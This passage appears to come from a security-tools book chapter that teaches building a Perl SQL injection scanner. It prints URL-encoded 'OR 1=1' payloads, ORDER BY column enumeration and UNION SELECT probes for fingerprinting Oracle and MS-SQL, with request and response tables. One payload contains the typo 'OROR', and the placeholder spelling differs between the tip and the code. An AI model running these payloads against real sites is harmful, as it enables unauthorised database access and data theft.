This query would also run successfully, provided that the database server supports the double-hyphen comment marker. Because of this, we are sure to include several test strings in our &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; list that utilize the double hyphen at the end of the exploit string. Due to the relative simplicity of the &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; exploits, the exploit routines are not in any way database-specific and can be executed against almost any standard SQL-driven database.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For the purposes of our discussion, we use the SQL query and request from the previous example as a reference for providing sample values as though the script were executing. The value of &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; in our examples is:&lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=--PLACEHOLDER--&amp;amp;view=F&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Our &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; routine starts by declaring an array of potential exploit strings to insert into the vulnerable parameter:&lt;br /&gt;
&lt;br /&gt;
 sub sqlOrTest {&lt;br /&gt;
  my @sqlOrArray=(&lt;br /&gt;
   &amp;quot;1%20OR%20'1'%3D'1'--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'%20OR%201%3D1--&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)%20OR%20'1'%3D'1'--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)%20OR%201%3D1--&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)%20OR%20'1'%3D'1'--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)%20OR%201%3D1--&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)\)%20OR%20'1'%3D'1'--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)\)%20OR%201%3D1--&amp;quot;,&lt;br /&gt;
   &amp;quot;%20OR%20'1'%3D'1'--&amp;quot;,&lt;br /&gt;
   &amp;quot;'%20OR%201%3D1--&amp;quot;,&lt;br /&gt;
   &amp;quot;1'%20OR%20'1'%3D'1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'%20OR%201%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1%20OR%20'1'%3D'1'&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)%20OR%20\('1'%3D'1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)%20OR%20\(1%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)%20OR%20\('1'%3D'1'&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)%20OR%20\(\('1'%3D'1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)%20OR%20\(\(1%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)%20OROR%20\(\('1'%3D'1'&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)\)%20OR%20\(\(\('1'%3D'1&amp;quot;,&lt;br /&gt;
   &amp;quot;1'\)\)\)%20OR%20\(\(\(1%3D1&amp;quot;,&lt;br /&gt;
   &amp;quot;1\)\)\)%20OR%20\(\(\('1'%3D'1'&amp;quot;&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
As you can see, there are several potential exploit strings. The first several strings in the array utilize the double hyphen because we prefer to use one of these strings for maximum flexibility. The second half of these exploit strings is designed to make a well-formed query without using the double hyphen by attempting to incorporate additional SQL code appended to the injected value.&lt;br /&gt;
&lt;br /&gt;
Next, we declare the &amp;lt;tt&amp;gt;$sqlOrSuccess&amp;lt;/tt&amp;gt; variable with a value of &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. This variable will eventually contain one of our test strings if we detect that the test string has resulted in a successful exploit. As we loop through the array of test strings, we replace the vulnerable parameter with the test string value and make the test request. Note that we perform the test request only if the &amp;lt;tt&amp;gt;$sqlOrSuccess&amp;lt;/tt&amp;gt; variable is still set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 my $sqlOrSuccess = &amp;quot;false&amp;quot;;&lt;br /&gt;
  foreach my $sqlOr (@sqlOrArray) {&lt;br /&gt;
   if ($sqlOrSuccess eq &amp;quot;false&amp;quot;) {&lt;br /&gt;
 &lt;br /&gt;
    # Replace the &amp;quot;---PLACEHOLDER---&amp;quot; string with our test string&lt;br /&gt;
    my $sqlOrTest = $paramRequest;&lt;br /&gt;
    $sqlOrTest =~ s/---PLACEHOLDER---/$sqlOr/;&lt;br /&gt;
 &lt;br /&gt;
    # Make the request and get the response data&lt;br /&gt;
    my ($sqlOrStatus, $sqlOrResults) = makeRequest($sqlOrTest);&lt;br /&gt;
&lt;br /&gt;
Once we make each test request, we check to see if the response contained the error condition detected by the &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; subroutine. For cases in which the value is &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;, we are already fairly certain that a potential SQL injection vulnerability exists. As such, this subroutine serves primarily to confirm the exposure's exploitability. For cases in which the value is &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;, or &amp;lt;tt&amp;gt;4&amp;lt;/tt&amp;gt;, we are still uncertain as to the exact nature of the error because we do not have any indication that the vulnerability is in fact due to an SQL error. In these cases, this subroutine is critical for confirming that the error is in fact an SQL injection point:&lt;br /&gt;
&lt;br /&gt;
    if (($sqlOrResults !~ $sqlRegEx &amp;amp;&amp;amp; $sqlVuln == 1) || ($sqlOrStatus !~ /^500/ &amp;amp;&amp;amp; $sqlVuln == 2) || ($sqlOrResults !~ /error|unable to|cannot/i &amp;amp;&amp;amp; $sqlVuln == 3) || (length($sqlOrResults) &amp;gt; 100 &amp;amp;&amp;amp; $sqlVuln == 4)) {&lt;br /&gt;
     $sqlOrSuccess = $sqlOr;&lt;br /&gt;
     printReport(&amp;quot;\n\nALERT: Possible SQL Injection Exploit:\n=&amp;gt; $sqlOrTest\n\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If the exploit appears to have succeeded (the error condition is absent), we assign the successful test string to the &amp;lt;tt&amp;gt;$sqlOrSuccess&amp;lt;/tt&amp;gt; variable and print a message to the user. Subsequent exploit tests within this subroutine are not performed now that the &amp;lt;tt&amp;gt;$sqlOrSuccess&amp;lt;/tt&amp;gt; variable is no longer set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. Finally, we close the &amp;lt;tt&amp;gt;if&amp;lt;/tt&amp;gt; statement and &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loops and return the &amp;lt;tt&amp;gt;$sqlOrSuccess&amp;lt;/tt&amp;gt; variable:&lt;br /&gt;
&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  return $sqlOrSuccess;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-2|Table 9-2]] lists the test requests made by this subroutine for our example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-2. Test requests and responses'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Test request !! Response&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1%20OR%20'1'%3D'1'--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 500 Server Error&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1'%20OR%201%3D1--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 500 Server Error&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1)%20OR%20'1'%3D'1'--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 500 Server Error&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20OR%201%3D1--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 200 OK&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; subroutine is complete, we move back up to the main script body and continue execution. At this point in our main script body, we must determine whether the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; routine was successful. We know from looking at the subroutine code that the value returned contains a test string if the subroutine was successful; otherwise, it returns the word &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;. Our next step is to check the value of &amp;lt;tt&amp;gt;$sqlOrVuln&amp;lt;/tt&amp;gt; and continue performing SQL testing if it is not equal to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
       if ($sqlOrVuln ne &amp;quot;false&amp;quot;) {&lt;br /&gt;
&lt;br /&gt;
If the value is equal to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;, we skip the remaining SQL tests and continue with the next parameter-based test routine (XSS in this case). Otherwise, we perform additional SQL injection-related exploit tests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For our example, the value of &amp;lt;tt&amp;gt;$sqlOrVuln&amp;lt;/tt&amp;gt; is:&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 1')%20OR%201%3D1--&lt;br /&gt;
&lt;br /&gt;
Now we must decide whether to initiate the blind SQL injection exploit routines or skip directly to the error-based routines. As we mentioned during our logic overview, the methodology used by our blind routines will be effective only when the exploit string utilizes the double-hyphen (&amp;lt;tt&amp;gt;--&amp;lt;/tt&amp;gt;) comment marker. If the &amp;lt;tt&amp;gt;$sqlOrVuln&amp;lt;/tt&amp;gt; variable ends with the &amp;lt;tt&amp;gt;--&amp;lt;/tt&amp;gt; character sequence, we call the first of two blind injection routines (&amp;lt;tt&amp;gt;sqlBlindColumnTest&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
        if ($sqlOrVuln =~ /--$/) {&lt;br /&gt;
         $sqlColumnVuln = &amp;amp;amp;sqlBlindColumnTest;&lt;br /&gt;
&lt;br /&gt;
The purpose of the first blind testing routine is to brute-force the number of columns in the original SQL query so that we can exploit the vulnerability with a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query. Because this routine is called for both blind and error-based injection points, it cannot rely on any database-specific error messages. This routine simply takes the exploit string used by &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; (currently assigned to &amp;lt;tt&amp;gt;$sqlOrVuln&amp;lt;/tt&amp;gt;) and appends the &amp;lt;tt&amp;gt;ORDER&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;BY&amp;lt;/tt&amp;gt; keyword followed by a column number (incrementing from 1 to a predetermined upper limit) to determine the number of columns in the SQL query. Provided that we are specifying a valid column number, the error condition detected by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; should not be present. As we increment the &amp;lt;tt&amp;gt;ORDER&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;BY&amp;lt;/tt&amp;gt; value, we know when we exceed the number of columns in the SQL query because the error condition detected by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; returns. This error is due to an invalid column position specified in the query's &amp;lt;tt&amp;gt;ORDER BY&amp;lt;/tt&amp;gt; clause.&lt;br /&gt;
&lt;br /&gt;
==== sqlBlindColumnTest subroutine ====&lt;br /&gt;
&lt;br /&gt;
We start this subroutine by declaring two variables. The first (&amp;lt;tt&amp;gt;$sqlBlindNumCols&amp;lt;/tt&amp;gt;) is the column counter we increment during testing. The second (&amp;lt;tt&amp;gt;$sqlBlindColumnSuccess&amp;lt;/tt&amp;gt;) is the variable we use to track whether the routine is successful in determining the correct number of query columns. Just as we did in the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; routine, we initially set this value to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;, and we assign the number of columns in the query to this variable only when we detect that the column number enumeration has been successful:&lt;br /&gt;
&lt;br /&gt;
 sub sqlBlindColumnTest {&lt;br /&gt;
  my $sqlBlindNumCols = 1;&lt;br /&gt;
  my $sqlBlindColumnSuccess = &amp;quot;false&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Next, we start our testing loop. For each loop iteration, we construct the same request used in the successful &amp;lt;tt&amp;gt;OR&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;1=1&amp;lt;/tt&amp;gt; test, but we remove everything after the word &amp;lt;tt&amp;gt;OR&amp;lt;/tt&amp;gt; and replace it with the &amp;lt;tt&amp;gt;ORDER&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;BY&amp;lt;/tt&amp;gt; keyword, followed by the value of &amp;lt;tt&amp;gt;$sqlBlindNumCols&amp;lt;/tt&amp;gt;. We do this to preserve the character sequence necessary to properly close off the original query ('&amp;lt;tt&amp;gt;1)&amp;lt;/tt&amp;gt; in our example) to make the query well-formed:&lt;br /&gt;
&lt;br /&gt;
 do {&lt;br /&gt;
   my $sqlBlindColumnString = $sqlOrVuln;&lt;br /&gt;
   my $sqlBlindColumnTest = $paramRequest;&lt;br /&gt;
   &lt;br /&gt;
   $sqlBlindColumnString =~ s/%20OR%20.*--/%20ORDER%20BY%20$sqlBlindNumCols--/;&lt;br /&gt;
   $sqlBlindColumnTest =~ s/---PLACEHOLDER---/$sqlBlindColumnString/;&lt;br /&gt;
&lt;br /&gt;
Then we make the test request and inspect the response to determine if the error condition detected by &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; is present (again, based on the value of the &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; variable):&lt;br /&gt;
&lt;br /&gt;
   # Make the request and get the response data&lt;br /&gt;
   my ($sqlBlindColumnStatus, $sqlBlindColumnResults) = makeRequest($sqlBlindColumnTest);&lt;br /&gt;
       &lt;br /&gt;
   if (($sqlBlindColumnResults =~ $sqlRegEx &amp;amp;&amp;amp; $sqlVuln == 1) || ($sqlBlindColumnStatus =~ /^500/ &amp;amp;&amp;amp; $sqlVuln == 2) || ($sqlBlindColumnResults =~ /error|unable to/i &amp;amp;&amp;amp; $sqlVuln == 3) || (length($sqlBlindColumnResults) &amp;lt; 100 &amp;amp;&amp;amp; $sqlVuln == 4)) {&lt;br /&gt;
    $sqlBlindColumnSuccess = $sqlBlindColumnTest;&lt;br /&gt;
   } else {&lt;br /&gt;
    $sqlBlindNumCols++;&lt;br /&gt;
   }&lt;br /&gt;
  } until (($sqlBlindColumnSuccess ne &amp;quot;false&amp;quot;) || ($sqlBlindNumCols &amp;gt; 200));&lt;br /&gt;
&lt;br /&gt;
As you can see, if we detect that an error has occurred, we know we have exceeded the column count in the original query. We assign the current test request to the &amp;lt;tt&amp;gt;$sqlBlindColumnSuccess&amp;lt;/tt&amp;gt; variable to end the loop; otherwise, we increment the counter variable and continue. Note that the loop is performed until either the &amp;lt;tt&amp;gt;$sqlBlindColumnSuccess&amp;lt;/tt&amp;gt; variable is not equal to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt; (indicating success) or the counter variable (&amp;lt;tt&amp;gt;$sqlBlindNumCols&amp;lt;/tt&amp;gt;) exceeds &amp;lt;tt&amp;gt;200&amp;lt;/tt&amp;gt;. We use 200 as our maximum column limit because we do not want this test routine to continue indefinitely if the routine ultimately does not detect an error. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-3|Table 9-3]] lists the requests made by this subroutine in our example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-3&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-3. Blind column enumeration requests and results'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Test request !! Response&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20ORDER%20BY%201--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 200 OK&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20ORDER%20BY%202--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 200 OK&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20ORDER%20BY%203--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 500 Server Error&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once our loop completes, we check to see that the &amp;lt;tt&amp;gt;$sqlBlindColumnSuccess&amp;lt;/tt&amp;gt; variable is no longer set to &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt;, and that the column counter is greater than &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;. If so, we return the number of columns in the query (which is actually one less than the current column counter value); otherwise, we return &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, indicating that the routine was not successful. The reason for the second check (&amp;lt;tt&amp;gt;$sqlBlindNumCols&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;&amp;gt;&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;) is that because we know the query must have at least one column, the &amp;lt;tt&amp;gt;ORDER&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;BY&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; test request should never result in an error. If it does, there's likely a problem with our exploit syntax, so we consider it a false positive and return a failed status (&amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 if (($sqlBlindColumnSuccess ne &amp;quot;false&amp;quot;) &amp;amp;&amp;amp; ($sqlBlindNumCols &amp;gt; 2)) {&lt;br /&gt;
   return $sqlBlindNumCols-1;&lt;br /&gt;
  } else {&lt;br /&gt;
   return 0;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Once we have determined the correct number of columns in the original query, we must determine the correct datatype for each column in the query.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For our example, the value of &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; is now &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Moving back to the main script body, we need to check that the previous subroutine was successful (based on the &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; variable). If it wasn't, we move on to the error-based &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; routines to make a second attempt at column number enumeration (more on that in a few minutes). If the previous subroutine was successful (if the &amp;lt;tt&amp;gt;$sqlColumnVuln&amp;lt;/tt&amp;gt; variable was not set to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;), we call the second of our two blind &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; routines (&amp;lt;tt&amp;gt;sqlBlindDataTypeTest&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
         if ($sqlColumnVuln != 0) {&lt;br /&gt;
          $sqlDataTypeVuln = &amp;amp;amp;sqlBlindDataTypeTest;&lt;br /&gt;
&lt;br /&gt;
Up to this point, none of our test routines has been database-specific. In other words, all the tests we have performed should work in the same way, regardless of whether the database was a Microsoft SQL Server or an Oracle database server. For the next test routine, we must detect the type of database server we are exploiting to adjust our test requests accordingly. Specifically, we need two pieces of information for each database server we want to test:&lt;br /&gt;
&lt;br /&gt;
* A default &amp;quot;world-readable&amp;quot; table name to attempt to query&lt;br /&gt;
* A list of common datatypes (and associated conversion functions)&lt;br /&gt;
&lt;br /&gt;
We already decided we would support both Oracle and Microsoft SQL Server for our extended scanner. As such, these are the only two databases for which we need this information. We define a hash containing the database-specific data at the top of our script in the same place where we declared our initial variables a while back. Keep in mind that we might not need to include every datatype the server supports because many of them are not commonly used and some datatypes can automatically convert to others. For Oracle, we use the &amp;lt;tt&amp;gt;CHAR&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;NUMBER&amp;lt;/tt&amp;gt;, and &amp;lt;tt&amp;gt;DATE&amp;lt;/tt&amp;gt; datatypes, and the &amp;lt;tt&amp;gt;ALL_TABLES&amp;lt;/tt&amp;gt; table as our default world-readable table. For Microsoft SQL Server, we use the &amp;lt;tt&amp;gt;VARCHAR&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;INT&amp;lt;/tt&amp;gt; datatypes (Microsoft SQL Server is much more lenient with respect to auto conversion of datatypes than Oracle), and the &amp;lt;tt&amp;gt;MASTER..SYSDATABASES&amp;lt;/tt&amp;gt; table as our default world-readable table. The hash defined at the top of our script should look something like the following:&lt;br /&gt;
&lt;br /&gt;
 my %databaseInfo;&lt;br /&gt;
 &lt;br /&gt;
 # MS-SQL&lt;br /&gt;
 $databaseInfo{mssql}{tableName} = &amp;quot;MASTER\.\.SYSDATABASES&amp;quot;;&lt;br /&gt;
 $databaseInfo{mssql}{dataTypes} = [&amp;quot;CONVERT(VARCHAR,1)&amp;quot;,&amp;quot;CONVERT(INT,1)&amp;quot;];&lt;br /&gt;
 &lt;br /&gt;
 # Oracle&lt;br /&gt;
 $databaseInfo{oracle}{tableName} = &amp;quot;ALL_TABLES&amp;quot;;&lt;br /&gt;
 $databaseInfo{oracle}{dataTypes} = [&amp;quot;TO_CHAR(1)&amp;quot;,&amp;quot;TO_NUMBER(1)&amp;quot;,&amp;quot;TO_DATE('01','MM')&amp;quot;];&lt;br /&gt;
&lt;br /&gt;
The goal here is to construct a well-formed &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query to the specified table name and to have explicit datatypes in each column position. We won't bother querying the actual field names in each database, because we can plug the converted datatype string into the column position as a literal value and have the query execute properly. Now that we have our database-specific information in the hash, we can go ahead and start coding the next subroutine.&lt;br /&gt;
&lt;br /&gt;
==== sqlBlindDataTypeTest subroutine ====&lt;br /&gt;
&lt;br /&gt;
We mentioned before that the first thing this subroutine attempts to do is to detect the type of database we are exploiting.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For the purposes of our example, the database server we are currently exploiting is Oracle 9i.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;$sqlDbType&amp;lt;/tt&amp;gt; variable was declared along with several other variables at the beginning of our script. We assign this variable a value of &amp;lt;tt&amp;gt;unknown&amp;lt;/tt&amp;gt; and once (if ) the database server is detected, we populate it with the database server type. To detect the database, we loop through each key in the &amp;lt;tt&amp;gt;%databaseInfo&amp;lt;/tt&amp;gt; hash (essentially a list of the database servers we are supporting) and attempt to make a query to the world-readable table defined for that database:&lt;br /&gt;
&lt;br /&gt;
 sub sqlBlindDataTypeTest {&lt;br /&gt;
  $sqlDbType = &amp;quot;unknown&amp;quot;;&lt;br /&gt;
  foreach my $databaseName (keys %databaseInfo) {&lt;br /&gt;
   my $sqlBlindDbDetectTest = $paramRequest;&lt;br /&gt;
   my $sqlBlindDbDetectString = $sqlOrVuln;&lt;br /&gt;
&lt;br /&gt;
Because we already know the number of columns in the query, we build the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query with &amp;quot;null&amp;quot; values in each column position instead of actual field names or literal strings. It should be noted that most versions of Microsoft SQL Server, and only Oracle versions 9 and above, support null values. The null values are really just placeholders that will be replaced with converted datatype strings later on. Just as we did with the &amp;lt;tt&amp;gt;ORDER BY&amp;lt;/tt&amp;gt; queries, we use the successful &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; exploit string to determine the proper SQL code that needs to preface the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query (note that again we replace everything after the word &amp;lt;tt&amp;gt;OR&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
  my $sqlBlindDbDetectUnion = &amp;quot;%20UNION%20ALL%20SELECT%20null&amp;quot;.&amp;quot;,null&amp;quot; x &lt;br /&gt;
 ($sqlColumnVuln-1).&amp;quot;%20FROM%20$databaseInfo{$databaseName}{tableName}--&amp;quot;;&lt;br /&gt;
  $sqlBlindDbDetectString =~ s/%20OR%20.*--/$sqlBlindDbDetectUnion/;&lt;br /&gt;
  $sqlBlindDbDetectTest =~ s/---PLACEHOLDER---/$sqlBlindDbDetectString/;&lt;br /&gt;
&lt;br /&gt;
We assume that only one of these queries can run successfully because the default table we are using for each database should not exist unless it is the specific database server we are attempting to identify. After each request, we check to see if it resulted in the appropriate error condition based on the &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; variable value. If the error is not present, we assign the current hash key value (the &amp;lt;tt&amp;gt;$databaseName&amp;lt;/tt&amp;gt; variable) to the &amp;lt;tt&amp;gt;$sqlDbType&amp;lt;/tt&amp;gt; variable:&lt;br /&gt;
&lt;br /&gt;
   my ($sqlBlindDbDetectStatus, $sqlBlindDbDetectResults) = &lt;br /&gt;
 makeRequest($sqlBlindDbDetectTest);&lt;br /&gt;
   if (($sqlBlindDbDetectResults !~ $sqlRegEx &amp;amp;&amp;amp; $sqlVuln == 1) || &lt;br /&gt;
 ($sqlBlindDbDetectStatus !~ /^500/ &amp;amp;&amp;amp; $sqlVuln == 2) || &lt;br /&gt;
 ($sqlBlindDbDetectResults !~ /error|unable to/i &amp;amp;&amp;amp; $sqlVuln == 3) || &lt;br /&gt;
 (length($sqlBlindDbDetectResults) &amp;gt; 100 &amp;amp;&amp;amp; $sqlVuln == 4)) {&lt;br /&gt;
    $sqlDbType = $databaseName;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
At this point the database should be successfully identified and the name of the appropriate database server should be assigned to the &amp;lt;tt&amp;gt;$sqlDbType&amp;lt;/tt&amp;gt; variable. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-4|Table 9-4]] lists requests this subroutine has made thus far.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-4&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-4. Blind database server detection requests and results'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Test request !! Response&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20SELECT%20null,null %20FROM%20MASTER..SYSDATABASES--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 500 Server Error&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=1')%20UNION%20SELECT%20null,null %20FROM%20ALL_TABLES--&amp;amp;view=F&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 200 OK&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that we have attempted to identify the database server, we will attempt to determine the proper datatypes for each column in the query.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For the purposes of our example, the first column in the original query is of the Oracle &amp;lt;tt&amp;gt;NUMBER&amp;lt;/tt&amp;gt; datatype, and the second column in the query is of the Oracle &amp;lt;tt&amp;gt;VARCHAR&amp;lt;/tt&amp;gt; datatype.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We assign the &amp;lt;tt&amp;gt;$sqlBlindDataTypeSuccess&amp;lt;/tt&amp;gt; variable (declared at the top of our script) a value of &amp;lt;tt&amp;gt;false&amp;lt;/tt&amp;gt; before starting the datatype enumeration routine. Like our last two subroutines, this is the value that ultimately will be used to determine the routine's success or failure. We change its value only once our datatype enumeration is successful for all query columns. Before we begin blind datatype testing, we need to make sure the database server has been identified. If it hasn't, we cannot continue testing with this routine because we do not have a valid table name to use in the &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query (we will get an error on every exploit attempt, so our testing will not be successful):&lt;br /&gt;
&lt;br /&gt;
  my $sqlBlindDataTypeSuccess = &amp;quot;false&amp;quot;;&lt;br /&gt;
